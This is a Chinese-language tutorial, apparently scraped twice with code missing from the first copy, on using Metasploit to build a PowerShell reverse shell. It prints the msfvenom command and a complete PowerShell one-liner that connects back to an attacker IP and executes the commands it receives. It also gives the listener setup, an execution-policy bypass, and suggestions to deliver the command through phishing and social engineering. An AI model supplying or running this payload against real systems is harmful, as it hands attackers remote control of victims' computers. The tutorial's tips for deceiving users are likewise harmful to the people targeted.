### 使用 PowerShell 命令生成反向木马
在渗透测试中,有时会选择使用 PowerShell 作为载体来执行反向连接命令。这种方式不需要生成可执行文件(exe),而是利用 PowerShell 脚本直接从目标机器发起反向连接到攻击者的机器。
Metasploit 提供了一个 PowerShell 反向 shell payload,可以帮助你生成和执行这种反向木马。
#### 步骤 1:生成 PowerShell 反向连接命令
使用
1. **生成 PowerShell 反向木马命令**:
假设攻击者的 IP 地址是 `192.168.5.100`,端口是 `4444`,执行以下命令生成 PowerShell 反向 shell:
- `-p windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `LHOST=192.168.5.100`:设置攻击者的 IP 地址。
- `LPORT=4444`:设置监听的端口。
- `-f raw`:生成原始的 PowerShell 命令。
输出将是类似这样的 PowerShell 命令:
这个命令会启动一个 PowerShell 反向连接并连接到攻击者的机器。
#### 步骤 2:设置 Metasploit 监听器
1. **启动 Metasploit 控制台并设置监听器**:
启动 Metasploit 并使用 `multi/handler` 模块来监听目标机器的反向连接。
2. **设置监听器参数**:
在 Metasploit 控制台中执行以下命令来设置监听器:
- `use exploit/multi/handler`:选择通用的处理程序。
- `set payload windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `set LHOST 192.168.5.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
3. **开始监听反向连接**:
执行 `run` 启动监听,等待目标执行 PowerShell 命令并反向连接。
#### 步骤 3:在目标机器上执行 PowerShell 命令
将上面生成的 PowerShell 命令复制到目标机器上并通过 PowerShell 执行。可以使用以下几种方式之一来执行:
1. **直接在 PowerShell 中执行命令**:
通过手动输入或在目标机器的 PowerShell 命令行中执行命令。
2. **通过文件执行**:
可以将该命令写入一个 PowerShell 脚本文件(例如 `reverse.ps1`),然后执行该文件:
3. **通过社会工程学**:
可以通过钓鱼邮件、社交工程等方式诱使目标用户执行该命令。
#### 步骤 4:接收反向连接
一旦目标执行 PowerShell 命令,你将会在 Metasploit 控制台中看到类似以下输出:
这意味着你已经成功获取了目标机器的 Meterpreter 会话,可以继续执行各种渗透测试任务。
#### 步骤 5:后续操作
一旦建立反向连接,你可以通过 Meterpreter 执行各种操作,如:
- 获取系统信息
- 上传/下载文件
- 执行系统命令
例如,使用以下命令获取目标机器的系统信息:
### 总结
PowerShell 反向木马是一种不依赖于上传可执行文件的反向连接方式,它通过 PowerShell 脚本直接从目标机器反向连接到攻击者机器。这种方式隐蔽性较高,且容易被利用。
### 关键词
#Metasploit #PowerShell #ReverseShell #反向木马 #Meterpreter #windows/powershell_reverse_tcp
在渗透测试中,有时会选择使用 PowerShell 作为载体来执行反向连接命令。这种方式不需要生成可执行文件(exe),而是利用 PowerShell 脚本直接从目标机器发起反向连接到攻击者的机器。
Metasploit 提供了一个 PowerShell 反向 shell payload,可以帮助你生成和执行这种反向木马。
#### 步骤 1:生成 PowerShell 反向连接命令
使用
msfvenom 来生成 PowerShell 反向连接命令,避免将恶意文件上传到目标机器,而是通过 PowerShell 直接执行命令。1. **生成 PowerShell 反向木马命令**:
假设攻击者的 IP 地址是 `192.168.5.100`,端口是 `4444`,执行以下命令生成 PowerShell 反向 shell:
msfvenom -p windows/powershell_reverse_tcp LHOST=192.168.5.100 LPORT=4444 -f raw
- `-p windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `LHOST=192.168.5.100`:设置攻击者的 IP 地址。
- `LPORT=4444`:设置监听的端口。
- `-f raw`:生成原始的 PowerShell 命令。
输出将是类似这样的 PowerShell 命令:
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.5.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII.GetBytes($sendback2));$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
这个命令会启动一个 PowerShell 反向连接并连接到攻击者的机器。
#### 步骤 2:设置 Metasploit 监听器
1. **启动 Metasploit 控制台并设置监听器**:
启动 Metasploit 并使用 `multi/handler` 模块来监听目标机器的反向连接。
msfconsole
2. **设置监听器参数**:
在 Metasploit 控制台中执行以下命令来设置监听器:
use exploit/multi/handler
set payload windows/powershell_reverse_tcp
set LHOST 192.168.5.100
set LPORT 4444
run
- `use exploit/multi/handler`:选择通用的处理程序。
- `set payload windows/powershell_reverse_tcp`:选择 PowerShell 反向连接 payload。
- `set LHOST 192.168.5.100`:设置攻击者的 IP 地址。
- `set LPORT 4444`:设置监听的端口。
3. **开始监听反向连接**:
执行 `run` 启动监听,等待目标执行 PowerShell 命令并反向连接。
#### 步骤 3:在目标机器上执行 PowerShell 命令
将上面生成的 PowerShell 命令复制到目标机器上并通过 PowerShell 执行。可以使用以下几种方式之一来执行:
1. **直接在 PowerShell 中执行命令**:
通过手动输入或在目标机器的 PowerShell 命令行中执行命令。
2. **通过文件执行**:
可以将该命令写入一个 PowerShell 脚本文件(例如 `reverse.ps1`),然后执行该文件:
powershell -ExecutionPolicy Bypass -File reverse.ps1
3. **通过社会工程学**:
可以通过钓鱼邮件、社交工程等方式诱使目标用户执行该命令。
#### 步骤 4:接收反向连接
一旦目标执行 PowerShell 命令,你将会在 Metasploit 控制台中看到类似以下输出:
[*] Started reverse TCP handler on 192.168.5.100:4444
[*] Sending stage (179779 bytes) to 192.168.5.233
[*] Meterpreter session 1 opened (192.168.5.100:4444 -> 192.168.5.233:4444) at 2024-11-09 22:14:57 -0500这意味着你已经成功获取了目标机器的 Meterpreter 会话,可以继续执行各种渗透测试任务。
#### 步骤 5:后续操作
一旦建立反向连接,你可以通过 Meterpreter 执行各种操作,如:
- 获取系统信息
- 上传/下载文件
- 执行系统命令
例如,使用以下命令获取目标机器的系统信息:
sysinfo### 总结
PowerShell 反向木马是一种不依赖于上传可执行文件的反向连接方式,它通过 PowerShell 脚本直接从目标机器反向连接到攻击者机器。这种方式隐蔽性较高,且容易被利用。
### 关键词
#Metasploit #PowerShell #ReverseShell #反向木马 #Meterpreter #windows/powershell_reverse_tcp